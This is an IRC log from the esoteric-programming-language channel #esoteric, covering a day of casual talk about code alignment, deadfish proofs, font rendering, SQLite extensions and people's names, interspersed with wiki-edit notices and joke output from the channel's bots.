15:18:34 <HackEgo> [wiki] [[Imapl]] M http://esolangs.org/w/index.php?diff=45332&oldid=45331 * Lemon enthusiast * (-1) /* Operators (Ordered by precedence): */
15:28:52 <HackEgo> [wiki] [[User:Lemon enthusiast]] http://esolangs.org/w/index.php?diff=45333&oldid=45296 * Lemon enthusiast * (-98)
15:36:12 <izabera> i have an important question
15:36:22 <izabera> do you right align numbers and left align strings?
15:36:54 <izabera> or do you use the same alignment for both?
15:39:05 <fizzie> Justify everything, even if it's a single word.
15:41:46 <izabera> i have an array, some keys are "strings in double quotes", some are integers
15:43:08 <izabera> arr["very long string"] = x; arr[22] = x
15:43:10 <izabera> arr["short string" ] = x; arr[ 2] = x
15:45:08 <APic> It is okay to me no Matter if Strings/Numbers are aligned to the Left or to the Right, or even unaligned, as long as You keep Your Style consistently.
15:45:40 <b_jonas> if I run 7z a -mx=0 so that it adds files to a 7zip archive without compressing them, and the progress message says "Compressing", then is the progress message misleading, or have I given the parameters wrong?
15:47:59 <APic> b_jonas: Just test with a String of 10k zeroes and look at the Size, then You know whether it compresses B)
15:49:39 <b_jonas> yep, doesn't compress. and still says "Compressing"
15:50:02 <b_jonas> the compression part of 7z is nice, but the command-line UI needs severe reworking.
15:50:09 <b_jonas> This isn't the only problem I have with the UI.
15:52:45 <fizzie> izabera: In a case like that, I normally wouldn't align, but if I did, I'd left-align both strings and numbers. But that's strictly personal preference.
15:53:38 <mroman> left align strings, right align numbers
15:54:23 <mroman> unless we're talking about tables
15:54:36 <mroman> then left align left-most column, right align all the other columns.
15:55:14 <fizzie> How about point-aligning numbers?
15:55:41 <mroman> floats should be right-aligned and point-aligned
15:56:10 <mroman> but if you use a fixed amount of decimal points then right-aligning them is the same thing?
15:56:29 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45334&oldid=45332 * 179.185.170.155 * (-140) /* Constants */
15:56:32 <fizzie> Maybe. Are there any fonts with variable-width digits?
15:57:00 <APic> I would assume so
15:57:36 <APic> „Are there“-Questions sorta suck in our infinite Multiverses ;)
15:58:01 <APic> If something does not exist, somebody has already created it in this or other Galaxies
15:58:09 <APic> So nothing does _not_ exist
15:58:25 <mroman> but then I'd kill you for using those fonts.
15:58:46 <APic> I would not care because there exist an infinite Number of Clones of myself ;=P
15:59:00 <APic> But i still have a Fetish for fixed Fonts
15:59:09 <APic> So i am lucky even in _this_ current Multiverse ;)
15:59:16 <mroman> I have a fetish for simple websites .
15:59:19 <APic> s/fixed/fixed-Size/
15:59:30 <APic> My Website is quite simple
15:59:45 <fizzie> Does it have a lot of Words with Capital Letters, at least?
15:59:52 <mroman> http://md.mroman.ch/ <- I started to switch all my sites to this exact same CSS
16:00:21 <APic> http://apic.name does not even use CSS
16:00:38 <mroman> Ideally you wouldn't use CSS, yes
16:00:44 <mroman> but browsers usually have a sucky default CSS imo
16:00:56 <mroman> headings are way too large in my opinion
16:01:10 <mroman> and having the page width 100% of the window per default
16:01:16 <mroman> It looks stupid on wide screens
16:01:25 <mroman> it's better to not use the full width.
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16:27:13 <b_jonas> Is Jace the only character who has six or more Planeswalker cards representing them?
16:27:55 <FireFly> izabera: that's how I would align it, FWIW
16:29:33 <b_jonas> (Chandra has five, Garruk has five)
16:33:12 <mroman> I'm still struggling with the formal proof for the df constants
16:33:16 <mroman> they intuitively make sense
16:33:22 <mroman> but I don't know how to proof it formally :(
16:33:56 <mroman> Generally I can show that numbers of the form n^{2m} can in fact be reached fastest
16:36:50 <b_jonas> wait a minute. if you tell Firefox to always use my fonts, not allowing webpages to override them, then it still downloads font from the web and uses them for the page as a fallback for characters that aren't in the font I specificed but are in other fonts I have installed on my system?
16:36:57 <b_jonas> Does this look crazy only to me?
16:38:42 <HackEgo> [wiki] [[User talk:Ais523]] http://esolangs.org/w/index.php?diff=45335&oldid=45307 * -Dark-Phantom- * (+216) /* Page removal request */
16:43:29 <mroman> http://md.mroman.ch/blog/2015-11-12.html <- that's what I've got so far :(
16:45:04 <mroman> The thing left is to prove that if n^2m < x < n^2(m-1) then the fastest way is to go to whichever is nearest and use i or d
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16:49:32 <mroman> I probably just need to show, that any number between those can not be reached in less than n+m steps
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17:09:53 <Jafet> Under what sort of conditions will n^2m < x < n^2(m-1)?
17:10:12 <int-e> mroman: your math is wrong. repeated squaring gets you to n^(2^m). Also, you should simply aim for the closest square number, so one of n^2 < x < (n+1)^2.
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17:11:22 <int-e> (ignoring the nasty case of 256).
17:12:47 <Jafet> 256 isn't even that nasty. For numbers 256^4 and up, it's still better to go to 256^2 and square it.
17:12:52 <int-e> A useful fact is that if df(x) is the smallest number of operations to reach x from 0 in deadfish, then |df(x) - df(x+1)| <= 1, still ignoring the 256 complication.
17:13:37 <int-e> This is simply because you can get from x to x+1 by a single operation, and vice versa.
17:14:48 <Jafet> That doesn't give very useful bounds, though, since df(x) = Θ(√x).
17:14:57 <int-e> Jafet: the thing is, repeated squaring is a very infrequent case. you're far more likely to end up with small adjustments after each squaring.
17:16:02 <int-e> Jafet: it's a useful lemma because it bounds the different of the costs for reaching n or n+1 in n^2 < x < (n+1)^2, and also shows that except for very small x, aiming for a smaller or a larger square cannot possibly help.
17:17:24 <int-e> (one of the < should be <= of course ...)
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17:42:54 <coppro> b_jonas: jace is the most promiscuous planeswalker hth
17:45:17 <b_jonas> coppro: and he's a memory mage, he made sure he has good publicity by ensuring everyone always remembers him while they forget the other planeswalkers
17:46:02 <b_jonas> I think he even made sure Teferi got such a ridiculously forgettable planeswalker card, because Jace saw him as a potential rival, being the same color.
17:48:19 <b_jonas> And Teferi is delayed in revenging on him, because his ovinomancer powers extends only to creatures, and unlike some planeswalkers, Jace isn't so stupid as to turn to a creature planeswalker.
17:50:52 <b_jonas> Jace even ensured everyone remembers him by getting into the flavor text of a lot of spells.
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18:51:32 <zzo38> I do not dislike the default CSS of the browser. However, if the user does not like it then he should modify it.
18:52:51 <zzo38> If you put in your own CSS to not use the full width or for whatever, then I would have to override it per each site to force it to use the full width of the window.
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19:41:22 <hppavilion[1]> https://docs.google.com/document/d/1IVBYW2CSDgvspkCl0nYTy-FQPUwozYdkX2H-cZGwALo/edit?usp=sharing
19:41:37 <hppavilion[1]> I'm working on Getchl right now and am still looking for feedback
19:41:52 <hppavilion[1]> If anyone feels like clicking the link and telling me what they think...
20:02:54 <hppavilion[1]> izabera: There isn't an abbieviated version, unless you don't care about the commands in which case the Wiki has that on the Getchl page
20:03:15 <izabera> but it's *eight* pages -_-
20:03:30 <izabera> of arbitrary associations between actions and keys
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20:05:53 <hppavilion[1]> izabera: Some of them are based on the traditional meanings (:=dup), some based loosely on meanings in other languages (;=halt), and some are just chosen because they look like they should mean that (@=loop)
20:06:21 <hppavilion[1]> The letter ones are either mneumonics (r=read), and 0-9 and A-F are Hex codes
20:10:45 <hppavilion[1]> But yes, it /is/ 8 pages. All printable ASCII characters, plus a number of variant commands, and a list of useful mneumonics
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20:54:16 <b_jonas> whew, I was writing a completely stupid statement in my program. good thing the compiler caught it.
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20:58:36 <b_jonas> more like, I was writing several stupid statements
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21:28:43 <HackEgo> [wiki] [[User:Hppavilion1/Unicode/Potential Meanings]] N http://esolangs.org/w/index.php?oldid=45336 * Hppavilion1 * (+755) Created Page
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21:44:15 <HackEgo> [wiki] [[Greentext]] N http://esolangs.org/w/index.php?oldid=45337 * 160.3.110.148 * (+2080) Created page with "{{infobox proglang |name=Greentext |author=[[Jfeng41]] |year=[[:Category:2015|2015]] |class=[[:Category:Turing complete|Turing complete]] |refimpl=[https://github.com/jfeng41/..."
21:55:36 <HackEgo> [wiki] [[Greentext]] http://esolangs.org/w/index.php?diff=45338&oldid=45337 * 160.3.110.148 * (+206)
21:57:45 <HackEgo> [wiki] [[Greentext]] http://esolangs.org/w/index.php?diff=45339&oldid=45338 * 160.3.110.148 * (+22)
21:58:07 <HackEgo> [wiki] [[Greentext]] http://esolangs.org/w/index.php?diff=45340&oldid=45339 * 160.3.110.148 * (-2)
21:58:17 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
22:00:21 <Guest52752> I'm having trouble finding some ideas to name my esolang
22:00:52 <izabera> a memorable name is important
22:01:34 -!- Guest52752 has changed nick to Mrlemons.
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22:02:20 <Mrlemons> it's a turing tarpit with only two characters
22:03:29 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:03:30 <HackEgo> [wiki] [[Greentext]] http://esolangs.org/w/index.php?diff=45341&oldid=45340 * 160.3.110.148 * (+9)
22:04:40 <int-e> ttctc - turing tarpit containing two characters
22:05:22 <izabera> tttc two characters turing tarpit
22:07:13 <FireFly> assuming you intended it to be recursive
22:13:33 -!- Mrlemons has quit (Ping timeout: 246 seconds).
22:15:24 <int-e> `learn The tapeworm is the bane of tape libraries. Its natural enemy is the tape archiver, tar.
22:15:27 <HackEgo> Learned 'tapeworm': The tapeworm is the bane of tape libraries. Its natural enemy is the tape archiver, tar.
22:17:11 <izabera> google cats scared by cucumbers
22:17:34 <int-e> don't hold your breath
22:19:44 <izabera> did you know that oxygen has a 100% killing rate
22:22:13 <int-e> About 7% of people have not yet died despite being exposed to 21% O2 in the atmosphere almost all the time.
22:23:28 <int-e> I will, but you have no proof that that will work.
22:27:19 <izabera> bet your $dayjob is lobbyst for a tobacco firm
22:29:47 <int-e> Ok, I'll add this: I was speaking mathematically; scientifically you seem to be on the safe side.
22:34:20 -!- Mrlemons has joined.
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22:42:29 <int-e> oerjan is moving backward in time
22:44:07 -!- mauris has quit (Read error: Connection reset by peer).
22:44:11 <int-e> well, last time I saw you join it was after midnight, and now it's before midnight (local time, here)
22:44:22 <oerjan> are you referring to me being constantly backlogged (approx. 2 months for the wiki and /r/haskell)
22:44:37 -!- mauris has joined.
22:46:24 <oerjan> int-e: today i shopped just before the shop closed at 11, so had to go home a bit early to reach it.
22:46:52 <shachaf> how early do you usually go home
22:47:16 <oerjan> 11 (12 on weekends), because that's when the restaurant closes
22:47:46 <oerjan> except when my sleeping cycle is enough different that i'm asleep then
22:48:26 <zzo38> What are your opinion of some of my ideas about improvement to make for SQLite?
22:48:51 <shachaf> I don't remember the ideas.
22:50:23 <zzo38> It is http://zzo38computer.org/textfile/miscellaneous/sqlext
22:59:49 <izabera> i don't know much of the sqlite internals but where is the button that produces chocolate chips
23:00:42 <mauris> god someone tell me the truth behind design patterns already
23:01:22 <zzo38> mauris: I don't know!
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23:01:49 <zzo38> izabera: I think SQLite does not have the button to produce chocolate chips.
23:02:11 <mauris> i'm being forced to use ~the observer pattern~ and also ~MVC~, to make a space invaders clone in c++
23:03:25 <Taneb> izabera, maybe you can submit a patch
23:03:35 <izabera> does the non lite version have them?
23:03:44 <zzo38> You would need some other equipment to produce chocolate chips, but if you would want to you might be able to make SQLite extension to drive such a machine.
23:04:12 <shachaf> mauris: the observer pattern is required to collapse the wave function hth
23:05:05 <zzo38> izabera: There is no "non lite" version, although there is a paid version that adds support for encryption and compression (you can still do these things with the free version too although you would have to implement such a VFS yourself unless someone else has already made such a free VFS for such purpose); it doesn't add chocolate chips though
23:05:50 <int-e> mauris: what happens if you apply the observer pattern to a heated kettle of water (or milk)?
23:06:40 <Taneb> ...who puts milk in the kettle?
23:06:42 <zzo38> Many things can be done with extensions, although some things should need to be applied to the core in order to work properly (except for json_aggregate which would be applied to an existing extension and not to the core)
23:06:52 <Taneb> Probably object-oriented programmers
23:07:49 <zzo38> An extension can implement a virtual table module, although there are some things that virtual tables currently do not do; I suggested what improvements could be made.
23:08:19 <zzo38> Much of what I wrote is only about the public API and not about the internals anyways (although the internals clearly would need to be modified in order to implement such things).
23:12:47 <shachaf> has oerjan come unstuck in time?
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23:26:15 <Taneb> I need to step up my Italian
23:26:25 <Taneb> By which I mean, I need to actually learn Italian
23:31:16 <izabera> inglourious basterds is not enough?
23:33:30 <boily> (safely addressing you in the vocative case.)
23:35:39 <boily> \helloren\, b_jellonas, chelloppro, ellodwardk, Firellofly, fizziello, fungellot, Greghellor, int-ello, J_Arcanello, Jafellot, lifthellorasiir, helleu, Hellymia, mhellauris, Mellolvar...
23:36:44 <boily> mynamello, nellortti, hellocharles__, hellørjan, hellolsner, Phantom_Helloover, pikhelloq, QUINTHELLOPIA, Sgello, hellochaf, shellokhin, trellomp, tswellott, hezzo38!
23:38:31 <Taneb> If I learnt Italian, I could ask my information theory teacher to tutor me in his native language, which he can't possibly be less eloquent in
23:39:18 <coppro> but would you be able to do so in time?
23:40:08 <izabera> just add o at the end of each word
23:40:44 <izabera> next, wanna try spanish? add s at the end of each italianized word
23:43:28 <boily> what about Portuguese?
23:44:32 <izabera> i'm not even exaggerating that much
23:46:38 <boily> and for Norwegian, you add in some ø I guess...
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00:07:12 <FireFly> yeah, buona notte. darn, the one phrase I learned in Italian, and I forgot it
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00:22:40 <hppavilion[1]> izabera: It's a vector font renderer for my own custom format. I made it for WalrusOS, which is an EsOS
00:23:16 <boily> hppavilion[1]: you seem to have an unhealthy affinity towards walruses. walrii. walrusseses.
00:23:27 <hppavilion[1]> `le/rn waltext2/WalrusOS's vector font renderer. See "WalText2i" for the improved version.
00:24:36 <boily> hppavilion[1]: chickens are better, nah!
00:24:45 <hppavilion[1]> In WalText2, you create forms by declaring points (and other significant numbers) that it should be drawn based on. A line might be written as "LINE 0 0 15 12"
00:25:17 <hppavilion[1]> But that has some syntactic problems; namely, in "0 0 15 12", there's nothing associating "0 0" and "15 12" as x/y points.
00:25:44 <hppavilion[1]> Well, you know how complex numbers can be represented as a point in the complex plane?
00:26:48 <hppavilion[1]> (I'm kind of tempted to self-quote those last two lines, but I'm afraid of looking arrogant)
00:27:17 <hppavilion[1]> izabera: So yeah. That's a bit eso, I suppose, but not really /that/ eso, as I'm just dealing with syntax.
00:27:36 <hppavilion[1]> Expressions. Not only that, expressions that can have randomness associated with them.
00:28:07 <hppavilion[1]> So, for example, you can use the complex conjugate of a number to make sure things line up. You can add points together.
00:29:54 <hppavilion[1]> Also, you can use the ~ binary operator to choose a random integer. 0~3 chooses a random number between 0 and 3 (inclusive) for you, so you can emulate human error in your fonts (the numbers are chosen on each drawing, so the tidle of an i or j might be in a different position on each letter)
00:30:06 <hppavilion[1]> izabera: That's not the random part, the other part's the random part
00:31:07 <hppavilion[1]> Inefficient, perhaps (I'll probably add an option in the renderer to cache the expression results which would derandomize the positions, but run faster)
00:31:33 <izabera> i don't like most existing fonts, what makes you think that generating them randomly is such a good idea?
00:31:59 <zzo38> What if you want to prerender then?
00:32:50 <hppavilion[1]> izabera: You aren't generating them randomly exactly; you're allowing the font designer to make slightly more random positioning to make the letters look more varied. Not good for, say, monospace, but good if you want to make a less uncanny valley comic sans
00:32:55 <zzo38> One thing that can be done is if you want to render to PK or GF, an option to render each character multiple times
00:33:26 <hppavilion[1]> zzo38: I'll probably do that if I make a PK or GF converter for WTII
00:33:39 <hppavilion[1]> zzo38: Define prerender for me. I'm a noob at rendering, so I'm just fumbling around here
00:34:37 <zzo38> To convert into PK or GF you need to prerender everything in the intended output device's resolution, so the source file will still be needed if you want to be able to use it with multiple resolutions
00:35:14 <zzo38> (Also you need only one of PK or GF; you can easily convert between them using "pktogf" and "gftopk" programs)
00:37:19 <oerjan> <boily> italianøsnji. <-- italiensk hth
00:38:57 <hppavilion[1]> zzo38: Ah. If you want to prerender, it just chooses a random number on load and sticks with it.
00:39:25 <oerjan> `le/rn waltext2/WalText2 is WalrusOS's vector font renderer. See "WalText2i" for the improved version.
00:40:01 <boily> <oerjan> <boily> italianøsnji. <-- italiensk hth <-- it may be so in the Real Worlds, but it's not as interesting :)
00:40:09 <hppavilion[1]> oerjan: Couldn't come up with a joke when I was making that xD
00:41:10 <oerjan> boily: nji isn't particularly norwegian.
00:41:37 <boily> afaik, it's Portuguesish.
00:41:55 * boily hides behind izabera
00:43:12 <oerjan> or snj, really, although there are enough norse names starting with nj that you could imagine it in a compound.
00:43:34 <zzo38> METAFONT does the same, it choose a random number on load (although you can specify the random number seed explicitly if wanted, too)
00:43:56 <izabera> hppavilion[1] == knuth undercover
00:45:00 <zzo38> If you use any random numbers in your METAFONT input file, then the log file will include the random number seed in use so that you can repeat the same results again if you want to do so.
00:45:11 <oerjan> izabera: knuth doesn't waste time by coming on #esoteric, he just asks esr and ais523 to do the work for him
00:45:28 <izabera> this explains so many things
00:45:31 <Taneb> I met Hoare the other day
00:46:23 <Taneb> He presented a public lecture at my university
00:46:33 <Taneb> About Pioneers of Computer Science
00:46:44 <Taneb> Which... had Euclid as the second-most recent (spoilers)
00:46:51 <Taneb> Hence my topic of thought 23 hours ago
00:47:06 <izabera> he started it with a slide that just said "YOU'RE ALL NOOBS COMPARED TO ME"
00:47:17 <Taneb> He seemed a really nice guy
00:47:47 <Taneb> No but my parents have one and my brother has a puppy
00:48:43 <boily> maybe esr and ais523 are the same person...
00:49:55 <Taneb> Is that a person who comes on IRC?
00:50:24 <izabera> not on this channel but he probably spen(ds|t) a fair amount of time on irc
00:50:49 <Taneb> Aaaah, fair enough
00:51:10 <izabera> also shame on you for not knowing him
00:51:20 <Taneb> I am not good at names
00:51:32 <Taneb> I only know my own name because I come from a clan of supervillains
00:51:52 <izabera> Taneb doesn't sound like a supervillain name
00:52:15 <oerjan> his real name is Nathan van Doom hth
00:52:57 <oerjan> also the creator of C-INTERCAL.
00:53:40 <Taneb> That's where the name was familiar from!
00:54:40 <Taneb> And yes, Nathan van Doom is approximately my name
00:59:31 <Taneb> I'm starting a league of people who are almost supervillains
00:59:44 <Taneb> So far it's got me and a Mr Mascetti
01:01:05 <oerjan> norwegian -sen names aren't very good for supervillainery :(
01:01:29 <Taneb> Isn't your name the Norwegian equivalent of George Johnson
01:02:37 <Taneb> Not very villainous at all
01:02:46 <Taneb> That's a bystander name at best, I am afraid
01:02:47 <izabera> george johnson by day, evil baron von terroristan by night
01:03:12 <oerjan> well one of the equivalents. Georg Hansen, Jørgen Jonsen, Jørn Johannesen ...
01:04:17 <oerjan> i'm talking about norwegian-sounding equivalents here, boily
01:04:35 <boily> oh, not oerjanequivalents. my bad.
01:04:55 <oerjan> well sure they're all cognate to my name
01:04:57 <boily> I thought you were translating to other scandinavian languages.
01:05:47 <oerjan> no, that would be Göran Johansson and Jørgen Jensen
01:05:57 <oerjan> oh i forgot jensen, that's norwegian too
01:06:09 <oerjan> but more stereotypically danish
01:06:15 <Phantom_Hoover> my first name directly translates as 'ruler of the world' so as a child i felt like i had some heavy expectations heaped on me
01:06:39 <FireFly> In what language does it mean that?
01:07:14 <\oren\> My last name is watson and someone always makes a sherlock holmes joke
01:08:05 <FireFly> Fancy, I also want a gaelic name
01:08:09 <hppavilion[1]> I'm cataloging common meanings for characters (e.g. $ in stacky languages means DROP)
01:08:22 <FireFly> IIRC mine means dove, which is p. boring
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01:08:52 <Taneb> hppavilion[1], that's Jonathan
01:08:58 <Taneb> Which is not my name
01:09:01 <hppavilion[1]> I'm trying to decide whether to sort the pages primarily by Unicode block or by language type
01:09:18 <hppavilion[1]> Taneb: I'm a Nathan too, and I'm pretty sure it means Gift from God, from the last time I checked
01:09:21 <FireFly> Hm, I had a very distant relaive called Natan (I think he spelled it that way)
01:10:01 <boily> I protect men, according to my name.
01:10:40 <hppavilion[1]> Also, is anyone curious about my 8 pages of arbitrary character-to-procedure associations for Getchl yet? xD
01:10:55 <izabera> focus on actually developing it
01:11:01 <Taneb> hppavilion[1], apparently it can be translated has "He has given"
01:11:32 <Taneb> Hebrew is not a language I am familiar with
01:11:32 <hppavilion[1]> izabera: Getchl or the Unicode Blocks? I already developed most of getchl and am just procrastinating initial testing.
01:12:07 <Taneb> My parents called me "Nathan" because they didn't know any Nathans
01:12:28 <hppavilion[1]> Taneb: I think that's what my parents went with too; look for a name that isn't used as much
01:12:49 <Taneb> Then they kept meeting Nathans all over the place
01:12:52 <hppavilion[1]> Or maybe that was my third cousin's parents. Definitely them, but maybe my parents too
01:12:52 <izabera> a friend of my dad died and that's how i got my name
01:13:05 <Taneb> The florist at my christening was called Nathan
01:13:22 <Taneb> My brother got his name because my parents looked at him and thought he looked like a Benjamin
01:13:45 <Phantom_Hoover> i remember my parents saying they consulted some family member who spoke irish to make sure they used the least pronouncable spelling
01:13:46 <hppavilion[1]> So I think I'll sort the pages primarily by language type
01:14:05 <oerjan> Phantom_Hoover: if you say so, donald
01:14:42 <oerjan> Phantom_Hoover: is it still pronounced the same btw
01:21:34 <Taneb> Phantom_Hoover, how did you end up as "Phantom_Hoover", if I may ask?
01:22:11 <Phantom_Hoover> i thought it was funny when i was about twelve, i think
01:24:56 <mauris> i have my grandpa's name, but with a fresh 90s twist to its spelling!! it's quite uncommon
01:25:29 <Taneb> mauris, my dad has a variant of his uncle's name
01:26:49 <mauris> boily: yeah. then my parents botched the -ce and decided putting an 's' there was The Future
01:27:14 <boily> the Future is Now!
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01:29:41 <mauris^> Should change my legal name to include this caret IMO
01:31:45 <oerjan> @tell mroman <mroman> but I don't know how to proof it formally :( <-- look at the position of the last s, minimize the part before, and use the fact that optimal representations of two neighboring representatble numbers cannot differ by more than 1 in length
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01:34:41 <oerjan> mauris^: wait i assumed it was some flemish variant of mauritz
01:35:03 <oerjan> is it pronounced flemish or french
01:35:22 <HackEgo> [wiki] [[ADDI]] N http://esolangs.org/w/index.php?oldid=45342 * Hppavilion1 * (+1626) New language time! This one a reincarnation of UniLang
01:36:49 <mauris^> Nope, it's a unique variation on the French 'maurice'! It's pronounced the Flemish way, [mo'RIs] where R is your favourite r consonant
01:37:24 <oerjan> don't the flemish agree on what R is?
01:38:17 <oerjan> (the norwegians don't either fwiw)
01:38:36 <mauris^> Not really. Some say [r] and some say [UPSIDE DOWN R HERE THANKS]
01:38:42 <HackEgo> [wiki] [[ADDI]] M http://esolangs.org/w/index.php?diff=45343&oldid=45342 * Hppavilion1 * (+52) Added an optional reader head to the data model
01:38:50 <mauris^> I'm in the latter camp, I.e. Uvular trill
01:39:09 <mauris^> A terrifying sound, I hear
01:39:52 <oerjan> (the latter is less terrifying)
01:39:57 <HackEgo> [wiki] [[ADDI]] http://esolangs.org/w/index.php?diff=45344&oldid=45343 * Hppavilion1 * (-11) Removed comments from the grammar, as they should be handled by the lexer
01:41:00 <Taneb> oerjan, apparently the English don't either. I can pronounce r in two ways that sound identical to me but feel different (and are in fact different)
01:42:00 <izabera> how do you know which one you're pronouncing?
01:42:07 <Taneb> Different mouth shape
01:42:32 <Taneb> One is strictly speaking a [ʋ]
01:42:55 <oerjan> wait portuguese has uvular rs?
02:03:04 <hppavilion[1]> They both work by evaluating their second argument contingent on their first
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02:08:58 <HackEgo> [wiki] [[ADDI]] http://esolangs.org/w/index.php?diff=45345&oldid=45344 * Hppavilion1 * (+189) Lists and sets; empty available
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02:12:22 <HackEgo> [wiki] [[ADDI]] http://esolangs.org/w/index.php?diff=45346&oldid=45345 * Hppavilion1 * (+87) Bools, rearranged EBNF
02:15:05 <zzo38> If you output TFM/GF/PK from a font program, one thing that needs to be done is to calculate a checksum. The algorithm you use to calculate it is unimportant, as long as it does not depend on the device resolution or any random numbers or the file format used for output. Zero may also be used if you do not need or want a checksum.
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02:39:21 <hppavilion[1]> zzo38: I take it you were too disgusted by the google docs link to check?
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02:41:38 <hppavilion[1]> zzo38: If I ever get my hands on a website, I promise to publish future documents as OpenOffice.
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02:46:57 <zzo38> I checked only the wiki page, which does not say much and has no example programs.
02:47:52 <hppavilion[1]> zzo38: Well I haven't finished formulating the language yet
02:48:21 <hppavilion[1]> zzo38: The langauge is, essentially, a list of operator expressions. Not even functions are allowed.
02:52:31 <HackEgo> [wiki] [[ADDI]] http://esolangs.org/w/index.php?diff=45347&oldid=45346 * Hppavilion1 * (+473) Made page remotely close to good.
02:54:53 <zzo38> I could see that in the description at least
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03:05:00 <HackEgo> [wiki] [[ADDI]] http://esolangs.org/w/index.php?diff=45348&oldid=45347 * Hppavilion1 * (+351) Special variables, example programs, zzo38
03:11:58 <hppavilion[1]> How about a nanny mcphee-like language? One that encourages good programming practices by allowing you to do bad things, but having arbitrary and awful rules when you do
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03:20:09 <zzo38> OK then don't try.
03:22:28 <zzo38> I am working on DVI->PBM program.
03:23:48 <zzo38> Other programs such as foo2zjs and so on can then be used to drive printers that use host-based printing.
03:25:20 <zzo38> That is how host-based printing works; it needs to generate the picture on the computer and then send to printer.
03:26:37 <zzo38> (The printer I now have does not support PCL so I am doing it this way instead; it can be useful for other printers and other purposes too though)
03:31:34 <zzo38> PCL is a printer format for many Hewlett Packard laser printers, as well as some printers by other manufacturers too.
03:33:35 <HackEgo> [wiki] [[Do loop until failure or condition else]] M http://esolangs.org/w/index.php?diff=45349&oldid=45250 * Hppavilion1 * (+34) Categorized
03:36:50 <HackEgo> [wiki] [[Arithmetic while]] N http://esolangs.org/w/index.php?oldid=45350 * Hppavilion1 * (+341) Created Page as filler, really
03:38:38 <HackEgo> [wiki] [[Goto-when]] N http://esolangs.org/w/index.php?oldid=45351 * Hppavilion1 * (+265) Created page as MOAR filler
03:40:33 <quintopia> this is not how we use the wiki...
03:45:33 <hppavilion[1]> quintopia: What? Creating stubby pages, or making filler pages (although the ideas were valid ones)?
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03:48:09 <hppavilion[1]> quintopia: Or do you mean that the pages aren't esolangs, but instead components that could be used for esolangs?
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04:49:13 <zzo38> I expect my program can work with troff as well, as long as you can make PK fonts. (This program does not require that the units of measurement match those of TeX; any units can be used, which is needed if troff is used since troff does not use the same units as TeX.)
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05:35:56 <zzo38> Do you know what fonts are needed to print man pages with grodvi?
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06:47:22 <zzo38> I got a SIGILL from _dl_x86_64_restore_sse from _dl_fixup from _dl_runtime_resolve from the following code: fp = fdopen(pipefd[0/*read*/], "r");
06:47:53 <zzo38> Do you know what is wrong? It only did that once; when I tried again I could not repeat the problem.
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07:10:09 <HackEgo> [wiki] [[Möbius]] N http://esolangs.org/w/index.php?oldid=45352 * Hppavilion1 * (+1546) Started on design
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07:25:56 <Jafet> Apparently deadfish proofs are not so easy.
07:26:04 <Jafet> http://46.4.207.77/deadfish-outline.pdf
07:26:18 <Jafet> Nearly got to int-e's lemma, though.
07:29:02 <oerjan> Jafet: i'm pretty sure the difficulty there isn't with deadfish hth
07:29:38 <Jafet> The izabera theorem prover
07:29:45 <Jafet> http://isabelle.in.tum.de/
07:29:57 <oerjan> Jafet: i don't think that was his lemma.
07:30:22 <oerjan> or rather, one of the numbers is supposed to be 1
07:30:50 <Jafet> That was the one I didn't get to.
07:31:35 <oerjan> oh wait you're actually defining a metric there.
07:32:06 <oerjan> well, int-e's lemma is just as special case of the last one there.
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07:33:46 <oerjan> Jafet: actually you just need that + costDF x y <= |y-x| if 256 is not between them
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08:27:13 <int-e> oh Jafet is an isabelle user
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09:53:10 <lambdabot> oerjan said 8h 21m 24s ago: <mroman> but I don't know how to proof it formally :( <-- look at the position of the last s, minimize the part before, and use the fact that optimal representations of two neighboring representatble numbers cannot differ by more than 1 in length
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10:19:28 <b_jonas> fungot, do you know how to prove it formally? minimize the part before.
10:19:29 <fungot> b_jonas: pastebin.ca is mind-bendingly slow for me in t? just an object that is in the classpath, ( require-library ' sisc/ libs/ srfi
10:20:49 <fizzie> fungot: Could you fix all bugs. Just, everywhere?
10:20:49 <fungot> fizzie: it can be done
10:21:17 <b_jonas> fungot: but keep the ascended bugs untouched please
10:21:17 <fungot> b_jonas: i'm a research assistant that writes models are usually a pain in the ass.... you got the pyc files for me? :)
10:21:34 <b_jonas> fungot: no, but you can generate them quickly with python anyway
10:21:35 <fungot> b_jonas: room kill point, but my irc client stated to use 99% cpu idle box with nice -20
10:21:53 <b_jonas> fungot: right, there's your first bug you have to fix
10:21:53 <fungot> b_jonas: lost some history and philosophy of r5rs. this makes me fnord is slow as shit
10:22:21 <fizzie> fungot: Maybe you should try an IRC client not written in Funge+
10:22:25 <fungot> fizzie: but yes, could optimize it to fit cs stuff. :)
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10:58:37 <mroman> fungot: You have been unproven.
10:58:38 <fungot> mroman: your analogy is wrong.
11:00:00 <mroman> Wait.. it lost the philosophy of r5rs
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11:55:31 <fungot> boily: now to sleep. hope to see this
11:55:40 <fungot> boily: for what does iterate walk code?
11:55:56 <lambdabot> Local time for \oren\ is Fri Nov 13 06:55:38 2015
11:56:28 <boily> fizzie: make the 'got answer to localtime twh
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12:16:01 <fizzie> boily: Sometimes I answer it manually with ^raw.
12:16:40 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
12:16:52 <fizzie> fungot: Your local time is currently GMT hth hand
12:16:52 <fungot> fizzie: check the topic in the minibuffer in erc. it's hard to get stuff from the front
12:16:57 <mroman> fungot: Any more details about that weird language 'or'?
12:16:57 <fungot> mroman: in case you're inside a loop when you wanna test 0 in mycology that is? :p
12:17:27 <HackEgo> Al Gore invented the algorithm.
12:18:01 <b_jonas> `le/rn al gore/Al Gore invented the algorithm and the internet.
12:18:07 <HackEgo> Al Gore invented the algorithm and the internet.
12:18:11 <HackEgo> sgeo/Sgeo is a language nomad. (Not to be confused with a language monad.) He invented Metaplace sex, thus killing it within a month. He was Doctor Mengele in his previous life, as evidenced by his norn experiments.
12:18:23 <HackEgo> quote/Quotes are just elements of the quantum dilapidated bogosphere. See qdb.
12:18:25 <lambdabot> Local time for fungot is no time for that
12:18:38 <HackEgo> qdb is used like: `quote; `quote regexp; `quote id; `addquote ...; `delquote id; `pastequotes regexp; `pastenquotes [n]; see also quoteformat
12:18:47 <HackEgo> wercome/エソテリックプログラミング言語のディザインとデプロイメントの国際な場所へようこそ！詳しく、ウィキを見て： http://esolangs.org/wiki/Main_Page。（他のエソテリック、irc.dal.netの#esotericへ）
